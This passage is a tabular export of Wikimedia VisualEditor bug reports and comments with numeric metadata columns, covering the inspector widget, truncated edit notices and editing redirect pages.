2. The 'link' button pops up, recognizing the annotation, and if you click it, the full annotation fragment is selected (expected behavior) and the input widget appears.
3. Without closing the input widget, click on another link in the text. The widget moves to the new location with the proper data, but the text of that fragment isn't selected, and it's a bit odd to edit. 

I think a better behavior may be to close the widget and have the icon pop up on the new location, as if I clicked an unrelated non-link text and then again selected a link.

(I hope this makes sense, I can post some screenshots if needed)

I use Firefox 22.0 under Ubuntu.

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1373224800,1373986645.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-fgcx6r4cq4f3sp3crtxx,task_description,resolved,True,c1,3,False,False,True,0,,0.6666666666666666,0.0,0.0,0.6666666666666666,0.3333333333333333,4.333333333333333,0.3333333333333333,0.0,0.0,1.3333333333333333,1.0,1.0,0.0,0.0,0.0,3.3333333333333335,0.3333333333333333,2.0,8.666666666666666,0.0,1.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,4.666666666666667,2.0,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,3.6666666666666665,0.0,0.0,0.0,0.0,0.0,11.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,7.666666666666667,1.0,7.0,1.6666666666666667,2.6666666666666665,9.666666666666666,0.0,0.0,0.0,0.0,3.0,0.0,0.3333333333333333,0.0,5.0,8.666666666666666,1.6666666666666667,0.0,0.6666666666666666,0.0,5.0,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,1.0,3.61697965571205,0.6917057902973395,"This happens with the Link annotation, but also happened to me with my Language annotation prototype when I play with it.

Steps to view the problem:
1. Go to some link in the text, put the cursor on it.
2. The 'link' button pops up, recognizing the annotation, and if you click it, the full annotation fragment is selected (expected behavior) and the input widget appears.
3. Without closing the input widget, click on another link in the text. The widget moves to the new location with the proper data, but the text of that fragment isn't selected, and it's a bit odd to edit. 

I think a better behavior may be to close the widget and have the icon pop up on the new location, as if I clicked an unrelated non-link text and then again selected a link.

(I hope this makes sense, I can post some screenshots if needed)

I use Firefox 22.0 under Ubuntu.

--------------------------
**Version**: unspecified
**Severity**: minor"
241526,VisualEditor: Inspector widget should not stay open when moving the cursor to similar annotation,Looks like the fix works. Can't reproduce this anymore on latest master.,,,1373981883,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-fgcx6r4cq4f3sp3crtxx,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.066666666666666,0.9333333333333333,Looks like the fix works. Can't reproduce this anymore on latest master.
241518,VisualEditor: Inspector widget should not stay open when moving the cursor to similar annotation,"Change 72865 merged by jenkins-bot:
Reset context menu on selection change while inspector is open

https://gerrit.wikimedia.org/r/72865",,,1373934858,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fgcx6r4cq4f3sp3crtxx,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.619047619047619,1.0,"Change 72865 merged by jenkins-bot:
Reset context menu on selection change while inspector is open

GERRIT_URL"
241509,VisualEditor: Inspector widget should not stay open when moving the cursor to similar annotation,"Change 72865 had a related patch set uploaded by Jforrester:
[WIP] Reset context menu on selection change while inspector is open

https://gerrit.wikimedia.org/r/72865",,,1373416527,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fgcx6r4cq4f3sp3crtxx,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,19.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.518518518518518,1.0,"Change 72865 had a related patch set uploaded by Jforrester:
[WIP] Reset context menu on selection change while inspector is open

GERRIT_URL"
52885,VisualEditor: Long editnotices are truncated with no way to scroll,"[[Jyllands-Posten Muhammad cartoons controversy]].

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51755
https://bugzilla.wikimedia.org/show_bug.cgi?id=52667",Medium,50.0,1373199360,1397067646.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-e5rh26mnuyokpvoo2c2t,task_description,resolved,True,c1,3,False,False,False,0,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.4146341463414633,0.5121951219512195,"[[Jyllands-Posten Muhammad cartoons controversy]].

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL"
240894,VisualEditor: Long editnotices are truncated with no way to scroll,This was fixed last week.,,,1397067646,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-e5rh26mnuyokpvoo2c2t,task_subcomment,,True,c1,3,True,,,40,,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,This was fixed last week.
240889,VisualEditor: Long editnotices are truncated with no way to scroll,*** Bug 62408 has been marked as a duplicate of this bug. ***,,,1397067550,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-e5rh26mnuyokpvoo2c2t,task_subcomment,,True,c1,3,True,,,40,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 62408 has been marked as a duplicate of this bug. ***
240882,VisualEditor: Long editnotices are truncated with no way to scroll,"In terms of combinations, I think we need to plan to support the display of at least three edit notices.  It is not at all unusual for articles at the English Wikipedia to display both the standard BLP notice (https://en.wikipedia.org/wiki/Template:BLP_editintro) and a semi-protection notice, and being able to view three means that only one more item could be included.

https://en.wikipedia.org/w/index.php?title=Barack_Obama&action=edit&editintro=Template:BLP_editintro shows three items.  Some of them have much longer notices.  https://en.wikipedia.org/w/index.php?title=Cat&action=edit shows only two, but one has some fairly long collapsed text (which VisualEditor does not collapse).",,,1384895522,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-e5rh26mnuyokpvoo2c2t,task_subcomment,,True,c1,3,False,,,20,,3.5,0.0,0.0,1.0,1.5,5.5,1.5,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,1.0,0.0,8.5,8.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.5,6.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,1.0,0.0,0.0,1.0,8.5,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,2.0,2.5,7.5,1.0,2.5,5.0,0.0,0.0,0.0,0.0,4.5,0.0,5.5,0.0,2.5,8.0,5.0,0.0,0.0,0.0,2.5,0.0,1.0,0.5,1.0,0.0,2.0,0.5,0.0,3.894230769230769,0.8076923076923077,"In terms of combinations, I think we need to plan to support the display of at least three edit notices.  It is not at all unusual for articles at the English Wikipedia to display both the standard BLP notice (URL and a semi-protection notice, and being able to view three means that only one more item could be included.

URL shows three items.  Some of them have much longer notices.  URL shows only two, but one has some fairly long collapsed text (which VisualEditor does not collapse)."
240876,VisualEditor: Long editnotices are truncated with no way to scroll,"It's not just single long edit notices, combinations of messages can also exceed screen height, e.g. at [[Caucasian Albania]]. The ArbCom sanctions notice is only about 5 lines in the source view, which has vastly greater horizontal space, likewise the semi-protection notice is designed for a horizontal layout.

Is there a reason why the VE notices must be vertical? Could they not horizontally expand to fit the messages? Doing so would reduce (but not remove) the need for bug 52471",,,1382972121,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-e5rh26mnuyokpvoo2c2t,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,1.0,3.0,10.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,13.0,6.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,5.0,5.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,17.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,8.0,4.0,9.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,2.0,6.0,3.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,1.0,1.0,0.0,2.0,4.163265306122449,0.7959183673469388,"It's not just single long edit notices, combinations of messages can also exceed screen height, e.g. at [[Caucasian Albania]]. The ArbCom sanctions notice is only about 5 lines in the source view, which has vastly greater horizontal space, likewise the semi-protection notice is designed for a horizontal layout.

Is there a reason why the VE notices must be vertical? Could they not horizontally expand to fit the messages? Doing so would reduce (but not remove) the need for bug 52471"
240871,VisualEditor: Long editnotices are truncated with no way to scroll,"In general, long edit notices misunderstand the concept of a brief message for users - but yes, we should fix this.",,,1377829536,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-e5rh26mnuyokpvoo2c2t,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.9583333333333335,0.9583333333333334,"In general, long edit notices misunderstand the concept of a brief message for users - but yes, we should fix this."
240866,VisualEditor: Long editnotices are truncated with no way to scroll,"Comments from bug 52602

""Edit notices should scroll when they are larger than the height of the window.
Presently the bottom of the message is unreadable. The screenshot attached
shows en.wp's ""Today's featured article"" edit notice displayed in a 581px high
window (which is what I normally use for browsing).""

The screenshot is attachment 13067

""A couple of users have reported this also happening with ""the notice
specifically for VE"", which I presume is the beta welcome dialog. They are
unable to scroll through and read it all.""",,,1377446787,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-e5rh26mnuyokpvoo2c2t,task_subcomment,,True,c1,3,False,,,7,,1.0,0.0,0.0,0.0,0.0,4.5,3.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,3.5,8.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.5,3.5,1.0,1.5,0.0,0.0,1.5,1.0,0.0,0.0,1.5,1.0,0.5,0.0,2.0,0.0,0.0,0.0,12.5,0.0,1.0,0.5,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,4.0,8.0,0.5,1.0,9.5,0.0,0.0,0.0,0.0,2.5,0.0,1.5,0.0,4.0,8.0,1.5,0.0,6.0,0.0,4.0,0.0,2.5,1.5,0.0,1.0,0.5,0.0,0.0,4.008771929824562,0.7894736842105263,"Comments from bug 52602

""Edit notices should scroll when they are larger than the height of the window.
Presently the bottom of the message is unreadable. The screenshot attached
shows en.wp's ""Today's featured article"" edit notice displayed in a 581px high
window (which is what I normally use for browsing).""

The screenshot is attachment 13067

""A couple of users have reported this also happening with ""the notice
specifically for VE"", which I presume is the beta welcome dialog. They are
unable to scroll through and read it all."""
240860,VisualEditor: Long editnotices are truncated with no way to scroll,*** Bug 52602 has been marked as a duplicate of this bug. ***,,,1377446690,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-e5rh26mnuyokpvoo2c2t,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52602 has been marked as a duplicate of this bug. ***
52878,VisualEditor: Remove the disablement of VisualEditor for redirect pages,"If you click in the link
https://en.wikipedia.org/wiki/Math?veaction=edit
you will be redirected to [[Mathematics]] and the VisualEditor will load on that page instead of in the redirect page [[Math]].

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: https://en.wikipedia.org/wiki/Math?veaction=edit
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=54921
https://bugzilla.wikimedia.org/show_bug.cgi?id=25470",Medium,50.0,1373160600,1392349767.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-hkpifvkdgtnwuojek3uj,task_description,resolved,True,c1,3,False,False,False,0,,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,17.0,1.0,1.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,8.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.1298701298701297,0.4675324675324675,"If you click in the link
URL
you will be redirected to [[Mathematics]] and the VisualEditor will load on that page instead of in the redirect page [[Math]].

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: URL
**See Also**:
URL
URL"
240401,VisualEditor: Remove the disablement of VisualEditor for redirect pages,"Change 95213 merged by jenkins-bot:
Let users set #REDIRECT and __STATICREDIRECT__ status

https://gerrit.wikimedia.org/r/95213",,,1392349574,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hkpifvkdgtnwuojek3uj,task_subcomment,,True,c1,3,False,,,32,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,4.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9565217391304346,0.8695652173913043,"Change 95213 merged by jenkins-bot:
Let users set #REDIRECT and __STATICREDIRECT__ status

GERRIT_URL"
240397,VisualEditor: Remove the disablement of VisualEditor for redirect pages,*** Bug 60425 has been marked as a duplicate of this bug. ***,,,1390695336,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hkpifvkdgtnwuojek3uj,task_subcomment,,True,c1,3,True,,,29,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 60425 has been marked as a duplicate of this bug. ***
240394,VisualEditor: Remove the disablement of VisualEditor for redirect pages,"Change 95213 had a related patch set uploaded by Jforrester:
[WIP] Let users set #REDIRECT

https://gerrit.wikimedia.org/r/95213",,,1384373833,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hkpifvkdgtnwuojek3uj,task_subcomment,,True,c1,3,False,,,19,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,9.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,4.045454545454546,0.9545454545454546,"Change 95213 had a related patch set uploaded by Jforrester:
[WIP] Let users set #REDIRECT

GERRIT_URL"
240391,VisualEditor: Remove the disablement of VisualEditor for redirect pages,"Change 95103 had a related patch set uploaded by Jforrester:
[WIP] Let users set #REDIRECT, __NOTOC__, & __FORCETOC__

https://gerrit.wikimedia.org/r/95103",,,1384313403,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hkpifvkdgtnwuojek3uj,task_subcomment,,True,c1,3,False,,,19,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.2285714285714286,0.7428571428571429,"Change 95103 had a related patch set uploaded by Jforrester:
[WIP] Let users set #REDIRECT, __NOTOC__, & __FORCETOC__

GERRIT_URL"
240386,VisualEditor: Remove the disablement of VisualEditor for redirect pages,"(In reply to comment #3)
Indeed, I first noticed this bug in a user page which was a redirect.",,,1375531656,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-hkpifvkdgtnwuojek3uj,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,12.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,12.0,0.0,0.0,16.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,3.08,0.96,"(In reply to comment #3)
Indeed, I first noticed this bug in a user page which was a redirect."
240379,VisualEditor: Remove the disablement of VisualEditor for redirect pages,"I figured out that the redirect was the reason why I could not see VE tab on my userpage at vec.wiki, but I also suggest that this should probably be more visible. Redirects are also widely used on user pages, and I assume that there will be people who might consider writing a proper user page with VE at some point and will be puzzled that they can't find its tab there. Just my 2c :)",,,1375522019,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-hkpifvkdgtnwuojek3uj,task_subcomment,,True,c1,3,False,,,4,,1.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,7.0,0.0,12.0,12.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,6.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,16.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,0.0,0.0,1.0,1.0,1.0,4.0,6.0,10.0,6.0,4.0,6.0,0.0,1.0,0.0,0.0,7.0,0.0,1.0,0.0,10.0,12.0,2.0,0.0,0.0,0.0,10.0,0.0,2.0,1.0,0.0,1.0,1.0,0.0,0.0,3.8395061728395063,0.7407407407407407,"I figured out that the redirect was the reason why I could not see VE tab on my userpage at vec.wiki, but I also suggest that this should probably be more visible. Redirects are also widely used on user pages, and I assume that there will be people who might consider writing a proper user page with VE at some point and will be puzzled that they can't find its tab there. Just my 2c :)"
240374,VisualEditor: Remove the disablement of VisualEditor for redirect pages,"Not a duplicate of bug 50877; this is about being able to edit page redirects, which is an enhancement we want to do shortly, blocked by bug 47328.",,,1373160972,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hkpifvkdgtnwuojek3uj,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,16.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,16.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,3.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.75,0.875,"Not a duplicate of bug 50877; this is about being able to edit page redirects, which is an enhancement we want to do shortly, blocked by bug 47328."
240370,VisualEditor: Remove the disablement of VisualEditor for redirect pages,"I assume this bug is a duplicate. I believe an initial compromise was to remove the ""edit"" tab (leaving only ""edit source"") on redirects. But the behavior here still is pretty wonky and will likely remain wonky until someone writes a redirect VisualEditor module/plugin, I think?",,,1373160777,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hkpifvkdgtnwuojek3uj,task_subcomment,,True,c1,3,False,,,0,,0.0,2.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,9.0,5.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,9.0,5.0,9.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,5.0,2.0,2.0,7.0,0.0,5.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,4.0344827586206895,0.8103448275862069,"I assume this bug is a duplicate. I believe an initial compromise was to remove the ""edit"" tab (leaving only ""edit source"") on redirects. But the behavior here still is pretty wonky and will likely remain wonky until someone writes a redirect VisualEditor module/plugin, I think?"
52877,VisualEditor: Editor not triggered on system redirects,"If you click in the link
https://en.wikipedia.org/wiki/Special:MyPage?veaction=edit
you will be redirected to your user page in ""view"" mode instead of ""vedit"" mode

--------------------------
**Version**: unspecified
**Severity**: minor
